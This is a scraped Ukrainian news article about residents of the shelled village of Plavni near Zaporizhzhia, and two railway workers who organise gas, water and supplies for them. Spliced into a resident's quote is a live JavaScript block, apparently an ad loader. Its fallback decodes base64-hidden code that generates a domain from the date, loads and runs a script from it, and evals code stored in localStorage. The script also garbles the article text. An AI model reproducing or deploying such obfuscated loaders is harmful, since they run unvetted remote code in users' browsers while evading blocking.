Дві працівниці запорізької залізниці — Світлана і Наталія — з березня допомагають пенсіонерам та важкохворим, які не виїхали з “сірої зони” — села Плавні, що у Василівському районі. Там, під постійними обстрілами ворога, залишаються 115 людей із 700. Село знаходиться неподалік від Степногірська, від Запоріжжя до Плавней — 33 кілометри.
Світлана і Наталія показують зруйновану залізничну колію, якою 20 років поспіль їздили на роботу до обласного центру. 24-го лютого залізниця зупинилася.
Фото: Суспільне Запоріжжя
Відтоді колії заіржавіли, над ними повисла обірвана електромережа.
«Працювала я на вокзалі Запоріжжя-1 у довідковому бюро. Ось із цієї платформи ми зі Світланою, вона працює на Запоріжжя-2, теж у довідковому бюро, з цієї станції їздили до себе на працю», — каже Наталія.
Світлана і Наталія. Фото: Суспільне Запоріжжя
Професія залізничника навчила взаємодіяти з людьми, розповідають Світлана та Наталія. Нині ті, хто залишився у селі — це родина, в якій підтримують один одного. Допомагати односельцям жінки взялись, коли звідси виїхала місцева влада, повідомляє Суспільне.
Налагодили зв’язок із волонтерами, благодійними організаціями, разом намагаються забезпечувати мешканців Плавнів найнеобхіднішим.
Фото: Суспільне Запоріжжя
Кажуть: харчових продуктів й ліків привозять достатньо, але у селі вже пів року немає електрики та води. Проблему з газом вирішили частково — придбали газові балони.
«Ми платимо за газ, людина вивозить їх до Царкуту, звідти — у місто, заправила і привезла сюди. Двома перекладними. Але сьогодні вже ніхто не скаже, що газу немає», — каже Світлана.
Воду беруть із Каховського водосховища, та очищають хлоркою. Ще складніша ситуація з опаленням будинків. Раніше дрова людям постачало Василівське лісництво. Нині воно — під окупацією. Щонайменше 75 домогосподарств, де залишаються люди, необхідно забезпечити твердим паливом.
«А де ж їх візьмеш, ці дрова? У посадку ніхто не піде. Вона не піде, і я не піду у посадку. А щоб їх купити, треба гроші. А що та пенсія?», — каже пенсіонерка Раїса Василівна, місцева мешканка. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Раїса, жителька села Плавні. Фото: Суспільне Запоріжжя
Світлана наголошує, їхнє село не газифіковане, а збирати дрова надто небезпечно:
«Якщо у когось є така можливість, будь ласка, допоможіть нам, щоб ми не йшли по мінах, не збирали той сушняк, бо прилітало. Рахуєш, скільки прилетіло. Бувало, прилетіло п’ять, а зірвалось тільки три. І ми підемо у ту лісопосадку збирати той хмиз?», — каже Світлана.
Фото: Суспільне Запоріжжя
До зими треба встигнути й полатати діряві від обстрілів дахи:
«Коли обстріляли, бачу: шифер порваний, двері вивернуті, вікна повилітали. Ну, думаю, треба ж якось клеїти, тому що піде дощ — стеля упаде. Купила на базарі таку сріблясту клейку стрічку, зачищала шифер і клеїла нею. От була злива — у мене сухо», — каже Наталія.
На Прибережній вулиці, де раніше проживало близько 200 людей, нині залишилось 12. Серед них — сім’я Яворів.
Фото: Суспільне Запоріжжя
Не виїжджатимуть звідси за будь-яких обставин, каже її голова Анатолій Іванович.
«Що, представлять нам якесь місце? А там за квартиру платить, за все платить. А де ті гроші? Отак і живемо. Як погибать, так отут погибать, нам однаково», — розповідає житель Плавнів Анатолій Явір.
Світлана та Наталія кажуть: допомагатимуть землякам, поки у цьому буде потреба. А після перемоги — візьмуться за відновлення полотна від Плавнів до Запоріжжя, адже вже скучили за улюбленою роботою. (adsbygoogle = window.adsbygoogle || []).push({});
Підписуйтесь на Акцент в 
Источник: https://akzent.zp.ua/yak-zhivut-lyudi-v-seli-yake-znahoditsya-v-sirij-zoni-za-30-km-vid-zaporizhzhya-foto/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
